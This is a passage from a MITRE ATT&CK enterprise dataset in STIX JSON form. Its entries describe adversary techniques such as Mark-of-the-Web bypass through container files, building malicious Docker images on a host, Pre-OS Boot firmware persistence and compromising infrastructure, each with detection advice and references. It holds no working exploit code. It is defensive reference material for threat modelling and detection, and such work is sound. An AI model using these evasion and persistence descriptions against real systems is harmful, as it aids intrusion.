Gumke, U.S. Bank","Arad Inbar, Fidelis Security","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Identity Provider"],"x_mitre_version":"1.3","x_mitre_data_sources":["Application Log: Application Log Content","Active Directory: Active Directory Object Creation","User Account: User Account Modification"],"type":"attack-pattern","id":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","created":"2022-03-04T18:30:38.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1098/005","external_id":"T1098.005"},{"source_name":"CISA MFA PrintNightmare","description":"Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"},{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"},{"source_name":"AADInternals - Conditional Access Bypass","description":"Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.","url":"https://o365blog.com/post/mdm"},{"source_name":"AADInternals - BPRT","description":"Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.","url":"https://o365blog.com/post/bprt/"},{"source_name":"AADInternals - Device Registration","description":"Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.","url":"https://o365blog.com/post/devices/"},{"source_name":"DarkReading FireEye SolarWinds","description":"Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.","url":"https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack"},{"source_name":"Microsoft - Device Registration","description":"Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers’ toolbox for victims without MFA. Retrieved March 4, 2022.","url":"https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa"},{"source_name":"Microsoft DEV-0537","description":"Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-06T22:35:34.231Z","name":"System Network Connections Discovery","description":"Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_platforms":["Windows","IaaS","Linux","macOS","Network"],"x_mitre_is_subtechnique":false,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.4","x_mitre_contributors":["Praetorian","Austin Clark, @c2defense"],"x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","created":"2017-05-31T21:30:45.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1049","external_id":"T1049"},{"source_name":"Amazon AWS VPC Guide","description":"Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.","url":"https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html"},{"source_name":"Microsoft Azure Virtual Network Overview","description":"Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.","url":"https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview"},{"source_name":"Google VPC Overview","description":"Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.","url":"https://cloud.google.com/vpc/docs/vpc"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-16T20:06:03.570Z","name":"Compromise Infrastructure","description":"Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)\n\nBy using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Jeremy Galloway","Shailesh Tiwary (Indian Army)","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.5","x_mitre_data_sources":["Internet Scan: Response Content","Domain Name: Domain Registration","Domain Name: Active DNS","Domain Name: Passive DNS","Internet Scan: Response Metadata"],"type":"attack-pattern","id":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","created":"2020-10-01T00:36:30.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1584","external_id":"T1584"},{"source_name":"amnesty_nso_pegasus","description":"Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February 22, 2022.","url":"https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"},{"source_name":"Sysdig Proxyjacking","description":"Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.","url":"https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"},{"source_name":"FireEye DNS Hijack 2019","description":"Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"},{"source_name":"ICANNDomainNameHijacking","description":"ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.","url":"https://www.icann.org/groups/ssac/documents/sac-007-en"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"},{"source_name":"Talos DNSpionage Nov 2018","description":"Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.","url":"https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"},{"source_name":"NSA NCSC Turla OilRig","description":"NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.","url":"https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"FireEye EPS Awakens Part 2","description":"Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T14:19:50.768Z","name":"Mark-of-the-Web Bypass","description":"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Christiaan Beek, @ChristiaanBeek"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Metadata","File: File Creation"],"x_mitre_defense_bypassed":["Anti-virus","Application Control"],"type":"attack-pattern","id":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","created":"2021-02-22T14:20:31.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1553/005","external_id":"T1553.005"},{"source_name":"Beek Use of VHD Dec 2020","description":"Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021.","url":"https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"},{"source_name":"Outflank MotW 2020","description":"Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021.","url":"https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"},{"source_name":"Intezer Russian APT Dec 2020","description":"Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.","url":"https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"},{"source_name":"Microsoft Zone.Identifier 2020","description":"Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.","url":"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"},{"source_name":"Disable automount for ISO","description":"wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.","url":"https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5","type":"attack-pattern","created":"2020-10-19T19:11:18.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1600.002","url":"https://attack.mitre.org/techniques/T1600/002"},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-21T22:37:48.503Z","name":"Disable Crypto Hardware","description":"Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"modified":"2024-02-26T14:26:14.364Z","name":"Pre-OS Boot","description":"Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","Network","macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Drive: Drive Modification","Network Traffic: Network Connection Creation","Process: OS API Execution","Driver: Driver Metadata","Command: Command Execution","Firmware: Firmware Modification"],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems","File monitoring"],"type":"attack-pattern","id":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","created":"2019-11-13T14:44:49.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1542","external_id":"T1542"},{"source_name":"ITWorld Hard Disk Health Dec 2014","description":"Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.","url":"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"},{"source_name":"Wikipedia Booting","description":"Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.","url":"https://en.wikipedia.org/wiki/Booting"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44","type":"attack-pattern","created":"2017-05-31T21:30:51.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","external_id":"T1064","url":"https://attack.mitre.org/techniques/T1064"},{"source_name":"Metasploit_Ref","description":"Metasploit. (n.d.). Retrieved December 4, 2014.","url":"http://www.metasploit.com"},{"url":"https://www.veil-framework.com/framework/","description":"Veil Framework. (n.d.). Retrieved December 4, 2014.","source_name":"Veil_Ref"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"url":"https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.","source_name":"Alperovitch 2014"},{"url":"https://www.uperesia.com/analyzing-malicious-office-documents","description":"Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.","source_name":"Uperesia Malicious Office Documents"}],"modified":"2020-03-30T13:39:24.852Z","name":"Scripting","description":"**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Process whitelisting","Data Execution Prevention","Exploit Prevention"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2023-04-15T16:22:09.807Z","name":"Build Image on Host","description":"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security","Roi Kol, @roykol1, Team Nautilus Aqua Security","Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security","Vishwas Manral, McAfee"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Containers"],"x_mitre_version":"1.3","x_mitre_data_sources":["Image: Image Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--800f9819-7007-4540-a520-40e655876800","created":"2021-03-30T17:54:03.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1612","external_id":"T1612"},{"source_name":"Aqua Build Images on Hosts","description":"Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.","url":"https://blog.aquasec.com/malicious-container-image-docker-container-host"},{"source_name":"Docker Build Image","description":"Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.","url":"https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild"},{"source_name":"Aqua Security Cloud Native Threat Report June 2021","description":"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.","url":"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T21:41:21.642Z","name":"Shared Webroot","description":"**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_deprecated":true,"x_mitre_detection":"Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_system_requirements":["Shared webroot directory on remote system"],"type":"attack-pattern","id":"attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db","created":"2017-05-31T21:30:46.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1051","external_id":"T1051"},{"source_name":"Apache Server 2018","description":"Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.","url":"http://httpd.apache.org/docs/2.4/getting-started.html#content"},{"source_name":"Webroot PHP 2011","description":"Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.","url":"https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/"},{"source_name":"Microsoft Web Root OCT 2016","description":"Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 